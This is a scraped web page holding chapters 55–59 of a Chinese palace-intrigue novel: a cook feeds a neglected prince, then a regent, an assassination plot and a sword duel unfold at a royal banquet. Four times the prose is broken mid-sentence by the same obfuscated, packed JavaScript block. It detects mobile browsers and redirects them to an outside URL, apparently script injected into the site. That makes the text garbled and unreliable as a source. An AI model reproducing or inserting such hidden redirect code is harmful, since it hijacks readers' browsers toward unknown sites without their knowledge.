也不怪沐毓露如此惶恐，她这一身厨艺都是前世从杨大厨那里学来的，杨大厨实实在在算是她的师父，只不过今生再见她不能据实告之而已。 可怜杨大厨还以为她是一个横空出世的少年天才，无人指导自学成才，一手的好厨艺都是自己在家里练出来的，害得他每每怀疑自己是不是真的廉颇老矣。 所以其实每次面对杨大厨的时候沐毓露都很心虚。 杨大厨自然不知道她在想什么，背过手去很是大方地鼓励她：“江山代有才人出，我不服老也是不行的。你今晚的献菜一定会在宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477267|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席上大放异彩，快点去准备吧。” 沐毓露点了点头，眼看时间差不多了，便也跟着忙碌起来。 不知不觉夜色便已攀上屋檐，三皇子寿辰宴位于皇城深处的启宸殿，此刻华灯初上，皇城内的赤金宫灯如星河蜿蜒，光芒洒落，照亮了雕刻在壁上的栩栩如生的朱雀纹样。 空气里弥漫着各类名贵香料的气息，还混合着佳肴美酒的醇香，丝竹管弦之声如清泉流泻，自殿角精雕细琢的乐台上流出，萦绕于梁柱之间。 启宸殿殿前玉阶之下，是辽阔得足以跑马的御苑，此刻早已经是人声鼎沸。沐毓露忙活得差不多了，忍不住行至廊前俯视着宫中万国来贺的盛景。 便在这时一只小手伸了过来，轻轻拉了拉她的袖角。 她低头去看，发现身侧不知何时来了一个玉琢般的小人儿。 能在宫中随意行走，且穿着如此华贵，要么是宫中的皇子，要么就是哪个权贵显臣家的公子。 沐毓露犹豫了一下该行什么礼，但还未俯下身去，便听见那小孩儿问：“你是宫里新来的御厨么？” 他这样一问她便确定了，眼前这个金装玉裹的小孩儿是皇室中人，只是不知道具体是哪位皇子。 不过管他是哪位呢，行礼就对了，她冲他福了福身，恭谨地回答道：“我不是宫里新来的御厨，只是今晚在宴席上献菜而已。” 那小孩儿歪着脑袋瞅了她半晌，然后无奈地撅了撅嘴：“我还以为宫里新来了一个这么漂亮的御厨呢，原来不是啊。” 沐毓露抽了抽嘴角，尴尬地在心里应了一句对呀不是啊。就在她想要找一个借口抽身离开的时候，又听见那小孩问她：“我肚子饿了，宫里没有东西吃，你可以带我去吃点东西吗？” 沐毓露抬手指了指自己：“我吗？” 然后她疯狂摆手：“不行的不行的，我只是来献菜的，献完菜我就走，怎么能带你去偷东西吃。” 那小孩儿又歪着脑袋瞅了她半晌，然后认真地道：“这里是我家，我叫穆鹤明，是父皇的九皇子，你带我在自己家吃东西，不能算是偷的。” 这番话听起来十分有道理，沐毓露点了点头，然后又立马反应过来，猛地摇了摇头：“不对呀，你既然是在自己家吃东西，那你自己去吃不就成了？干嘛还要让我带你去吃？” 穆鹤明可怜巴巴地把脑袋垂下，像小狗似的抬起眼角看她，“虽然我是皇子，但大家都不搭理我，你也看到了，他们都去忙活三哥的生辰宴了，没一个人跟着我。” 这小家伙越说越是可怜，沐毓露的心一下子就软了，还瞬间脑补了一出皇家兄弟同室操戈的大戏。 她半蹲着身子凑近了看他，越看越觉得这小孩儿清瘦得很，怕不是真的经常在宫中饿肚子，否则他怎么会一个人摸到这里来找吃的。 “那好吧，我带你去厨房找点东西吃，但是你得先答应我，今天的事情不许说出去。”沐毓露伸出小指与他拉钩：“谁问都不许说。” 56. 第56章 穆鹤明抬起头来，眼中重新闪烁起光芒。 他认真地和沐毓露拉钩约定，然后牵起她的手拉着她便往厨房跑。 沐毓露一把拽住他，“虽然这里是你家，但我们现在还是在偷东西吃，偷东西怎么能光明正大地走正门？” 她拽着他从偏门进去，同时见缝插针地提醒他：“记住了，以后若是还要来偷东西吃，就从这个门进，这里一般没什么人。” 然后她带着他七拐八绕地到了一个灶台跟前，那灶上摆着一些精致的点心，看起来热腾腾的像是才出锅的样子。 沐毓露前后左右张望了一番，正准备伸手去拿，却听见穆鹤明道：“我不想吃这个。” 沐毓露低头看他：“那你想吃什么？” 穆鹤明认真地思索了一下，然后提出自己的需求：“我要吃面。” 沐毓露又忍不住抽了抽唇角，深吸了一口气，耐着性子告诉他：“这里到处都是人，我怎么给你煮面吃？再等一会儿这些糕点都被人端走了，你连这个都没得吃。” 说着她伸手又要去拿灶上的点心：“你听我的，别挑了，就吃这个。” 穆鹤明哼了一声，跺了下脚，扭过头撅着嘴用行动表明他就是不吃。 沐毓露皱眉瞪着他，本想说现在还挑三拣四的看来你不是真的饿，但是在看见他小小一个如此清瘦的样子后，心中的那股无名火又被她压了回去。 她又做贼似的左右张望了一番，寻了个暂时无人用的灶台，着急忙慌生火烧水给这小祖宗煮面。 “现在手边食材有限，我的时间也不多，只能给你煮一碗最简单的阳春面。”沐毓露一边煮面一边说着。 煮好了面回头一看，发现小家伙正乖巧地守在她的身旁，扬起脑袋往锅里望，一双水汪汪的大眼睛里布满了水汽，不知道是被这灶台熏的，还是被她感动得流下了眼泪。 沐毓露不由更心疼了。 这可怜孩子，一碗阳春面就把他香成这个样子，平日里那些宫人不知道怎么苛待他。 现在回想他之所以不吃糕点，应当不是在挑三拣四，而是压根没怎么吃过这些东西，所以才吃不惯吧？ 沐毓露就这么自己脑补着，一只手端着面碗，另一只手拿着筷子，让穆鹤明拉着她的衣袖随她出去。 穆鹤明乖乖地跟着她往外走，两个人一起来到了膳房西侧不起眼的角落里。 沐毓露带着他在回廊坐下，用筷子把面挑凉了，这才将碗递给他：“快吃吧，吃完你就回去，我等下也要走了。” 穆鹤明捧着面碗大口大口地吃了起来，一边吃一边吸鼻子，看起来似乎是真的哭了。 沐毓露不忍地将目光移开，望向楼下灯火辉煌的殿宇，犹豫了好一会儿，等到穆鹤明快把一碗面吃完了，才转头对他道：“你平时可以出宫么？如果可以的话你就来天下第一楼，到时候我再做饭给你吃。” 说着她掏出手帕给他擦了擦嘴，“瞧你年纪也不大，宫里没有人照顾你么？” 他摇了摇头，也不知真的是宫里没有人照顾他，还是在反驳沐毓露说他年纪小。 他把嘴里的面咽下去才道：“我今年虚岁十二了，我已经不小了。” 沐毓露听完忍不住笑了，果真还是个小孩子。 她对穆鹤明嘱咐道：“我的名字叫沐毓露，你若有机会出宫可以直接来找我，记住了吗？” 穆鹤明抱着碗点了点头，一双大眼睛忽闪忽闪地注视着她，然后他认真地道：“姐姐，我喜欢你。” 便在这个时候，一道清冷低沉的嗓音自身后响起：“你们在干什么？” 沐毓露浑身一僵。 又是这个化成灰她都听得出来的声音。 怎么就这么倒霉？只不过是吃面的一小会儿工夫，居然也能碰到穆衾寒？ 旁边的穆鹤明也被吓得一个激灵，不过他倒是反应得很快，放下面碗就朝穆衾寒跑了过去，“小叔叔，这个姐姐在带我吃面呢。” 沐毓露在心里长长地叹了口气，僵硬地转过身去，一回头便看见回廊的阴影深处，一道颀长的身影负手而立。 他就站在阴影里，玄色锦袍的衣摆纹丝不动，衬得他身姿如孤峰般挺拔。 不是穆衾寒又能是谁。 廊下昏暗的烛光勾勒出他棱角分明的侧脸轮廓，此刻那双古井无波的眼眸正越过小皇子穆鹤明，将目光沉沉地落在沐毓露的脸上。 空气仿佛凝滞了，沐毓露又在心里叹了口气，避开穆衾寒的目光，俯身向他行了个礼。 穆衾寒的目光并未在她身上停留太久，很快他就移开视线，看向穆鹤明，声音听不出喜怒：“还不快点过来？” 穆鹤明原本跑到他身前停下，听见他如此说，只好又往前挪了挪，就这样一步一蹭地挪了过去，抬起手揪住穆衾寒的袍角。 沐毓露用余光注视着这一幕，怎么看怎么觉得眼前的状况有点不对。 这小家伙好像跟穆衾寒很熟的样子？ 穆衾寒好像很护着他的样子？ 她立马想到，能够被穆衾寒如此看顾，这九皇子在宫里怎么也不可能过得差。 那他干嘛还要可怜巴巴地来骗她煮面吃？ 越想越觉得不对劲，她总觉得自己被这个臭小孩儿给骗了。 这时前方回廊拐角处呼啦啦涌出一群惊慌失措的宫人内侍，为首的内侍总管早已经面无人色，一见到穆衾寒，更是吓得魂飞魄散。 他带着众人齐刷刷跪倒一片，额头重重地磕在冰冷的宫砖上：“王爷恕罪！王爷恕罪！是奴才们的疏忽，没有看好九皇子。” 穆衾寒没有立即出声，他站在原地，目光缓缓地扫过跪在地上瑟瑟发抖的人群，最后将视线落在了为首的内侍总管身上。 “拖出去。”这三个字的声音不高，甚至带着一丝漠然，但是落在众人的耳朵里，却像是平地炸响了惊雷。 所有人都知道，这个内侍总管的小命今天就要交代在这里了。 “王爷饶命！王爷饶命啊！”那内侍总管已经说不出什么话来，只能一个劲儿地请求穆衾寒饶命。 但是下一秒他就被穆衾寒带来的侍卫捂住了嘴，被他们毫不留情地架起来拖了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497401|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 跪在地上的宫人们抖如筛糠，连大气都不敢出。 穆衾寒冰冷的目光再次扫过他们头顶，目光所及之处众人只觉脊背生寒。 “若是再有下次，让九皇子离开你们的视线半步，”再开口时穆衾寒的声音比刚才更沉，每一个字都清晰地砸在死寂的回廊上：“你们所有人加起来，就算有一百个脑袋也不够本王砍。” 众人颤抖着声音应了一声是，更深地伏跪在地，几乎要将头埋进砖缝里。 沐毓露觉得一股寒气从脚底直窜上来，她不禁在心里想，这么残暴的一幕真的适合让小孩子看到吗？确定不会给穆鹤明留下什么心理阴影吗？ 这么想着，她鼓起勇气微微抬起眼角，朝穆衾寒的位置望去。 却发现站在穆衾寒身侧的穆鹤明不仅没有被吓着，反而正得意洋洋地咧着嘴笑。 沐毓露又把眼睛垂了下去，好吧，是她想多了，那小孩儿身体里流淌着穆家的血，跟穆衾寒简直像是一个模子里刻出来的，他怎么可能会怕？ 该感到害怕的应当是她才对。 处理完了那一众宫人，穆衾寒又重新将视线落回了沐毓露身上：“你来宫里做什么？” 沐毓露不想看他，于是装作恭恭敬敬不敢抬头的样子，始终垂着头说话：“民女是来宫中为三皇子生辰宴献菜的。” 她似乎听见穆衾寒笑了一下，只是那笑声并不明显，还带有一点冷意：“我竟不知今日献菜的人还有你？” 他话锋一转，突然说道：“是齐知止让你来的吧。” 沐毓露额头渗出冷汗，不知道为什么她总觉得穆衾寒这话带着点警告的意味。 她又开始飞速思索起来。 穆衾寒突然提起齐知止做什么？他又在威胁她么？ 若是接下来她不与齐知止保持距离，他打算做什么？不会去找天下第一楼的麻烦吧？ 便在她胡思乱想之际，穆衾寒牵起穆鹤明的手，不再多说什么，转过身就走。 脚步声在空旷的回廊里渐行渐远，直到确认穆衾寒真的已经离开，沐毓露才慢慢抬起头来。 这一道回廊平日里走的人不多，因此宫灯甚少，此刻沉沉暮色犹如薄纱笼下，朱漆廊柱投下长长的影子，将这曲折的回廊切割成明暗交织的段落。 穆衾寒牵着穆鹤明的手行走在长长的回廊之中，快要走到尽头时突然停下脚步。 他垂首问他：“方才为什么要去找她给你煮面？” 穆鹤明抬起头来看他：“她很漂亮，我觉得她煮面的样子很像我的母后。小叔叔，我喜欢她。” 穆衾寒沉默地注视着他，半晌，他俯下身子单膝下跪，与穆鹤明一个高度后，抬眼与他平视：“你知道那内侍总管是你三哥的人，所以今日你是故意的，故意想让我杀了他，对么？” 穆鹤明不躲不避，坦荡地点了点头。 穆衾寒眸光微动，“你放心，我不会让你过我小时候那样的日子。” 说着他伸出手臂将他抱起，让他伏在自己的肩头，然后抬步继续往前走，“但是你不可以喜欢她。” 57. 第57章 转眼间时辰已到，三皇子的生辰宴在钦天监卜算好的吉时中开启。 启宸殿中上百个席位按照礼制环列，三皇子着一身玄底赤纹蟒袍，金冠束发，端坐于主宾之位。他扫视着下方，嘴角噙着恰到好处的笑意，眼里却有一股怎么也掩不住的野心。 三皇子左右依次列坐着皇室宗亲以及朝廷重臣，个个蟒袍玉带气度非凡。 然而殿中上首御座却是空空荡荡，座前摆了一张玉案，也只是象征性地布置了一下。 所有人都知道朱雀国君病重久矣，如今连床都下不了，更不可能摆驾入席，今日这一场盛宴注定是三皇子的主场。 一时间启宸大殿中觥筹交错，各国语言交织，奇装异服辉映。宴至酣处，丝竹稍歇，这便到了献菜的时刻。 却说朱雀国每任国君举办寿宴之时都会请民间献菜，图的是一个与民同乐的意头，只是随着时间的推移，这一项活动越来越失去了从前的初衷。 如今能够至殿前献菜之人，非各国的名厨不可，如沐毓露一般真正的无名之辈是绝无可能出现在御前的。 尤其她还是一个女子。 因此当她在宫人的引领下自殿门处款款而来时，众人流露出或惊或疑的目光，倒都被她吸引住了。 不知道沐毓露所献的菜品到底是什么，那巨大的青玉托盘她一个人居然端不住，需要三个宫人合力来端才可。 盘中之物被一方素锦轻轻覆盖，各国使者都停止了交谈，目光或好奇或审视地从那青玉托盘之上掠过。 三皇子单手支颐，目光在沐毓露身上停留了一瞬，他不知想到了什么，突然扬唇微微一笑，然后眼神里多出了一丝不易察觉的探寻。 沐毓露迎着众人的注视行至殿中，然后盈盈下拜，“民女沐毓露恭贺殿下千秋，特献锦绣山河一味，为殿下寿，为朱雀贺。” 话音落地，素锦揭开，殿内的低语声在此刻骤然一停，无数目光聚焦在了那玉盘之上。 盘中所盛的竟是一幅精妙绝伦的“画卷”。 翠玉黄瓜薄片层叠，犹如远山含黛；莹白藕片巧切成形，拼出蜿蜒的朱雀疆域；其上还有朱果点缀，象征着城池关隘；此外还有清澈透明的琼脂冻，宛若江河湖泊流淌其间。 在这色彩缤纷的壮丽山河图中央，有一品鸡汤煨豆腐冒着热气，众人都看得出来，它象征着朱雀国境内最大的一处湖泊——金霜湖。 “好一个锦绣山河图。”三皇子将目光从青玉托盘上移开，再次落到沐毓露的身上：“有如此巧思，当真是个妙人儿。” 三皇子此言一出，底下众人的赞誉之声也如同涟漪般迅速扩散开来，沐毓露却不动声色地蹙了蹙眉。 方才三皇子虽然是在夸赞她，但她听得心中不爽，总有一种被人冒犯的感觉。 接下来三皇子所说的话让她更加确定方才被冒犯的感觉并不是她的错觉：“沐姑娘如此一双白皙细嫩的巧手，合该抚琴弄萧，如何能在厨间灶台沾染油污？” 说着他伸出一只手，意思是让沐毓露走上前来。 大庭广众之下，他言语如此轻佻，这同当众调戏她有什么区别？ 沐毓露强压下喉头的恶心，指甲早已掐入掌心，面上却不得不维持着恭谨的姿态，她将头垂得更低了，却并没有上前半步：“殿下谬赞，民女粗鄙，只会这些灶台功夫。” 三皇子挑了挑眉，眼中带着几分醉意，肆无忌惮地打量着垂首立在下方的女子。 “你上前来，本殿下要好好奖赏你。”他的语气里带着不容拒绝的威胁。 沐毓露却仍旧僵硬地立在原地，怎么也不肯上前，三皇子蹙了蹙眉，殿内的气氛瞬间变得有些凝滞。 两人就这样互相僵持着，就在殿内紧绷着的那根弦快要断裂的时候，内官的声音自殿外响起：“定远王驾到！” 定远王。 这是先帝赐给穆衾寒的封号。 洞开的大门之外，一道高大挺拔的身影逆着殿外的夜色与廊下的灯火缓步踏入，墨底金线的蟒袍在行走间带起微澜。 忽然刮起一阵大风，殿中烛火摇曳，光影乱舞，他的面容便在光影交错间显得更加冷峻深邃。 来人正是年纪轻轻便权倾朝野的摄政王穆衾寒。 他的到来瞬间打破了方才那令人窒息的压抑，行至沐毓露身边时，穆衾寒的脚步微微顿了一顿，然后他抬起头，扫了一眼居于上位的三皇子。 他的目光虽然无甚波澜，却莫名令人觉得胆寒，坐于三皇子左右两侧的大臣们纷纷将头低了下去。 无视了三皇子骤然阴沉下来的脸色，也仿佛没有看见他悬于半空中正伸向沐毓露的那只手，穆衾寒径直迈步，向整个殿宇最尊贵的位置，也就是象征着王权的御座走去。 三皇子的脸瞬间涨得通红，他猛地站起身来，从齿缝里挤出一句带着明显警告的话：“那是父皇的御座，还请皇叔移步，至亲王席位就坐。” 他刻意加重了父皇和亲王二字，试图以此提醒穆衾寒身份的界限。 穆衾寒无视了他的警告，直接行至御座跟前，然后缓缓转身，居高临下地俯视着脸色铁青的三皇子。 殿内一片死寂，落针可闻，只有烛火偶尔爆出细微的噼啪声。 穆衾寒的唇角勾起一抹极淡的弧度，他似笑非笑地道：“陛下圣体欠安，今日不能亲临。本王摄政多年，这殿中还有谁比本王更配坐上此位？” 他顿了顿，语声微微上扬，带着点嘲讽的意味：“这位置若是本王都坐不得，三殿下，那你就更坐不得了。” 话音落下的瞬间，穆衾寒便已撩袍坐下。 玄色的身影与金色的龙椅形成强烈的对比，一股无形的威压瞬间笼罩了整个大殿。 三皇子僵在原地，脸色由红转白，又由白转青。他实在没有想到穆衾寒竟如此霸道，完全不将朱雀国的颜面放在眼里，当着这么多外国使臣的面也能如此下他的面子。 然而更下他面子的事情还在后头，穆衾寒在龙椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511188|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上坐稳之后，用一副叔叔训戒侄儿的语气，直接在大殿上训斥起了三皇子：“沐家小姐今日是来献菜而非卖艺，你方才的言行失了分寸了。” 三皇子闻言冷笑，用锐利的目光扫了沐毓露一眼。 早就听闻穆衾寒为了这个女人在京中闹出了不少的笑话，今日他这般不管不顾，果然还是为了她。 他回到桌前举起杯盏，冲着阶下的沐毓露遥遥一敬：“皇叔说得对，今日是本殿下冒犯了，我敬你一杯以此赔罪，如何呀？” 他这话说得轻狂，沐毓露心里升起一股不祥的预感。 果然，下一秒一声脆响自殿上传来，竟是三皇子将手中的杯盏狠狠掼在了地上。 杯盏碎裂声响起的同时，殿宇四角，屏风之后，甚至侍立的人群之中，瞬间越出十几道身影。 他们都穿着与殿内侍者无异的服饰，动作却快如鬼魅，有的手握长剑，有的持着短匕。 他们的目标都很明确，森寒的剑锋都指向高踞于御座之上的穆衾寒。 不过穆衾寒面色如旧，他丝毫没有惊慌之意，而是依旧端坐于御座之上。今日他敢来到启宸殿，怎么可能未做准备，只见他抬手拂袖一挥，一队人马立即持剑闯入了殿中。 两方交手，方才还歌舞升平的大殿瞬间变为了可怖的修罗场。 使臣惊慌逃窜，侍女惊声尖叫，桌椅翻倒下，珍馐倾覆，一片狼藉混乱。 便在这一片混乱之际，一声清越悠长的剑鸣从人群中杀出，瞬间压过了所有的喧嚣。 这一声剑鸣显然是带有主人深厚内力的。 在剑鸣声响起的同时，一道迅如惊鸿的身影从殿外飞来，迅速穿过混乱奔逃的人群，足尖只在翻倒的几案边缘轻轻一点，身形便已横跨了半个大殿，手中长剑直抵三皇子面门。 沐毓露原本想随人群一起离开这里的，但是在看见来人之后，她不由自主停下了脚步。 那前来刺杀三皇子的剑客轻功可谓是登峰造极，身法飘逸不带半分烟火气，不是三州堇璱又能是谁？ 看到眼前的场景，沐毓露瞬间想起昨晚三州堇璱对她说过的话。 在听到她今晚要入宫献菜之后，他立马就劝她早点离开，原来是因为他早知道今晚会有这样一场变故。 只不过沐毓露想不明白，他为什么要来刺杀三皇子？如今穆衾寒与三皇子不和已经算是明牌，今晚摆明了是三皇子为穆衾寒设下的请君入瓮之局，而三州堇璱在这个时候对三皇子出手…… 难道他一直以来都和穆衾寒是一伙的？ 沐毓露觉得自己的脑袋快要想冒烟了。 下一秒，更令她感到匪夷所思的一幕出现了。 就在三州堇璱的剑尖快要抵至三皇子面门的时候，又一道人影自大殿梁上跃下，他挡在三皇子的面前，持剑横挑，将三州堇璱的剑势尽数卸去。 那人穿着一身黑衣，长发高高束起，虽然以面罩遮掩，但沐毓露还是凭借身形一眼就认出来他是风问棠。 58. 第58章 沐毓露闭了闭眼睛怀疑自己产生了幻觉。 穆衾寒和三州堇璱是一伙的，风问棠此刻没有守在他爹身边，而是出现在了启宸殿，挡在了三皇子面前？ 在今天晚上这一场风波出现之前，沐毓露以为这几个人是八杆子都打不到一起的。 她拼命地在脑海中梳理着几人的关系，然后便在这一场权力斗争的漩涡中想到了另一个人的身影。 另一个今晚并未出现，但与今晚漩涡中心的几个主角都有着或深或浅关系的人。 那就是她爹沐玉罡。 突然之间一切都想得通了。 他不择手段想让她嫁进穆王府，前世又苦心孤诣让沐晚意成为三皇子的侧妃，敢情这老狐狸是在两头押注啊！ 只不过看如今的情势，他应当是觉得老皇帝命不久矣，所以更加看好三皇子，并且这老狐狸一定暗中与三皇子有什么谋算，否则穆衾寒和三州堇璱也用不着屡屡夜探沐府。 怪不得那日抛绣球，穆衾寒被三州堇璱抢了绣球也不生气，还是一副势在必得的样子。 也怪不得抛完绣球之后，穆衾寒那天晚上穿着一身夜行衣堂而皇之出现在她面前，十分笃定地告诉她，他比她更加了解三州堇璱，所以他知道他是绝对不会回来娶她的。 原来自始至终一切都在他的掌控之中，原来他和三州堇璱才是同盟。 这一瞬间她从心底生出了一种背叛感，连带着看三州堇璱也不太顺眼。虽然三州堇璱从一开始就没有答应娶她，他也兑现了自己的诺言，现身抢了绣球，可沐毓露就是觉得他背叛了她。 他怎么可以和穆衾寒成为同盟？ 便在沐毓露晃神之际，在众人混乱的打斗之中破碎的杯盏碎片直直地朝她飞溅而来，等她回过神的时候，已经来不及躲了。 沐毓露踉跄着后退，忽然一道身影挡在了她的面前，飘逸如云的广袖轻轻一拂，便将那些碎片尽数拂落。 是三州堇璱在混乱之中仍然关注着她这边的动静，在碎片溅起的一瞬间飞身而至替她挡下了。 躲在三州堇璱的身后，她心头的气瞬间消了大半，刚喊出一句不用管我，你自己小心一点，便被他一把推到了巨大的柱子背后。 来不及回头望她一眼，风问棠的长剑转瞬间又至他的面门。 风问棠舞出的剑光与三州堇璱张扬的剑意截然相反，那剑光并非刺目的雪亮，而是一种内敛的、如秋水般流动的泓光，只不过此刻那内敛的剑光之中透露出无尽的杀意。 三州堇璱挥剑格挡，眼看对方杀意尽显步步紧逼，他干脆旋身后撤以退为进。 与此同时殿外又涌入了许多的黑衣人，他们并不敢直接靠近三州堇璱，而是将他团团包围起来，袖中毒针暗器朝他激射而出。 沐毓露躲在柱子背后，探出脑袋观望着三州堇璱与风问棠的打斗，见到那些暗器如狂风骤雨一般朝三州堇璱袭来，她忍不住惊呼一声小心。 三州堇璱却是临危不乱，他后撤的同时将手腕一振，手中剑光骤然盛放。 刹那间，仿佛有无数道剑气流云般在他身侧旋转，那些激射而至的毒针暗器撞上这层无形的剑气屏障，如同泥牛入海，发出叮叮当当的脆响之后，便被尽数绞成了齑粉。 其中有两名杀手无声无息地蹿出，想要从背后偷袭，然而还没来得及靠近三州堇璱，手中淬毒的匕首甚至还没有递出，便觉得眼前一花，咽喉处掠过一丝冰凉，连惊呼都来不及发出，便软软地栽倒在了地上。 原来这就是传说中的天下第一高手的真正实力，那如鬼魅般的剑法根本就出其不意，没人能够猜到他下一剑刺向哪里。 偌大一个启宸殿，如此多的杀手，能够靠近三州堇璱的居然只有风问棠一个。 三州堇璱身形不停，剑随身走，如游龙入海，翩然闯入了杀手群中。 他的剑法已臻化境，犹如羚羊挂角无迹可寻，却又精准致命，那些杀手原本以为是他们包围了他，却没有想到原来是他一个人包围了他们所有人。 所有的暗器毒箭，所谓的合围之术，这一切的手段在绝对的实力面前都如同儿戏，几乎是眨眼之间，三州堇璱就如同砍白菜西瓜一般将那些杀手尽数歼灭。 从包围圈中杀出，三州堇璱身形一晃，再次持剑朝三皇子冲去。 却又一次被风问棠挡下。 “叮——！” 一道震耳欲聋的声音响起，一股狂暴的气流以两人为中心轰然炸开，周围翻倒的桌椅残骸被瞬间掀飞。 躲在柱子后面的沐毓露看呆了眼。 她知道风问棠武功高强，却不知道他的武功高强到了如此地步，居然能够和三州堇璱对打这么久还不落下风。 三州堇璱借着这一荡之力，如风中柳絮般轻盈一转，卸去了那股气流的冲击，然后再次朝三皇子杀去。 沐毓露虽然看不懂两人的剑式，但她完全看得出三州堇璱对三皇子的杀心，她苦中作乐地在心中感慨，像他这样始终不忘初心，逮着一个人刺的杀手才是合格的好杀手。 然而风问棠不是这般好摆脱的，黑色紧身衣下，他手臂上的肌肉偾张，手中长剑寒光吞吐，死死地锁定三州堇璱。 久攻不下，三州堇璱似是有些气恼，舞出的剑式由轻盈飘逸的路子转为了大开大阖，剑身挥舞的一瞬间，炽烈如火的剑风已经朝风问棠扑面而来，就连他身后几丈外翻倒的烛台火焰都被压得骤然一矮。 面对这排山倒海般的霸道剑式，风问棠眼中掠过一丝严肃的神色。 他知道自己这是把三州堇璱逼急了，对方开始认真起来了。 比刚才更加尖锐刺耳的利剑碰撞声在空中炸响，一时间火星四溅，这两人的剑法完全看不出高下之分。 然而居于高位的穆衾寒却是看得出来，数番交锋之下，三州堇璱已经洞察了风问棠剑式 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522448|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当中的破绽，而风问棠看似不落下风，实际上已经逐渐被三州堇璱逼至绝路，出现的破绽也就越来越多。 果然，没过多久风问棠连绵的剑势出现了刹那的凝涩，而三州堇璱立马抓住了这次机会回旋横扫，剑风呼啸如巨斧开山，将风问棠的剑势生生斩断。这一变招毫无技巧，全凭一身雄厚内力，剑风所过之处，连空气都发出不堪重负的呜咽。 沐毓露看得倒吸一口凉气。 三州堇璱这凶悍的打法显然也激起了风问棠的剑意，他不退反进，直接闪身切入了那狂暴的剑圈之内。 两人的距离瞬间拉近到不足三尺。 两柄长剑的碰撞声瞬间连成一片，密集犹如雨打芭蕉。 转瞬之间两人已交手数十招，剑气纵横将周围的几案绞得木屑纷飞。 此时还留在殿内的除了沐毓露之外皆是习武之人，不过就连他们都看得目眩神迷，几乎忘记了呼吸。 两人的剑意都在攀升，在一次又一次硬碰硬的剑锋交击后，三州堇璱剑势陡然一变。 他接下来舞出的一剑简直快得超越了视觉的极限，风问棠暗呼不好，举剑想要格挡，却不料两剑相击，下一秒他手上一轻，用来格挡的长剑直街被三州堇璱挑飞。 眼看他就要败了，没想到在这千钧一发之际，三州堇璱忽然身形一僵，刺向风问棠咽喉的剑往左侧偏了一寸。 旁人眼中微不可查的变化，落在绝顶高手眼中却是无比清晰，就在三州堇璱身形顿住的一瞬间，风问棠便知道他这是毒发了。 一股钻心蚀骨的剧痛毫无预兆地从三州堇璱丹田深处轰然爆发，这熟悉的痛苦来得突然而又猛烈，瞬间席卷四肢百骸，让他眼前骤然一黑，持剑的手不受控制地微微颤抖起来。 他强行压下喉头翻涌的腥甜，试图稳住剑势，但内力如同被无形的寒冰冻结，再也无法凝聚起方才的精纯剑意。 风问棠抓住机会，一把抓住自空中坠落的长剑，飞身而起再次攻了过去。 三州堇璱此刻被体内寒毒反噬，内力运行受阻，强行调动只会加剧毒性蔓延。 现在他只能选择退。 格挡风问棠猛烈的进攻之余他强行提气向后疾退，此刻便连沐毓露都看得出来他脚步虚浮，三皇子又如何看不出来。 他连忙朝余下的那些不敢上前的杀手们喝道：“还不赶快趁现在杀了他！” 余下的杀手鼓起勇气一拥而上，却没想到三州堇璱虽然毒发，却仍旧能够强行调动起内力，他故意露出破绽，趁他们一窝蜂冲上来的时候，手腕猛然一抖，手中长剑爆开一团略显紊乱却依旧耀眼的剑花。 他这一招不仅将那些杀手尽数歼灭，还逼得风问棠也倒退了好几步，三州堇璱趁机抽身而退，毫不犹豫朝着启宸殿侧面那扇通往御花园的月洞门飞掠而去。 风问棠紧追不舍，也在下一秒冲入那月洞门，没入了殿外沉沉的夜色之中。 59. 第59章 场面实在是太过混乱，沐毓露趁众人的注意力都放在了三州堇璱与风问棠的身上，便连穆衾寒也没有朝她的方向投来目光，赶紧悄悄地往后退，悄无声息地从侧门溜了出去，然后迎着夜风朝御花园跑去。 看方才两人交起手来不死不休的架势，风问棠一定会趁三州堇璱虚弱之际一剑杀了他。 可是她不想他死。 急促的脚步声在鹅卵石小径响起，两道身影快速地在假山花丛之间穿梭。 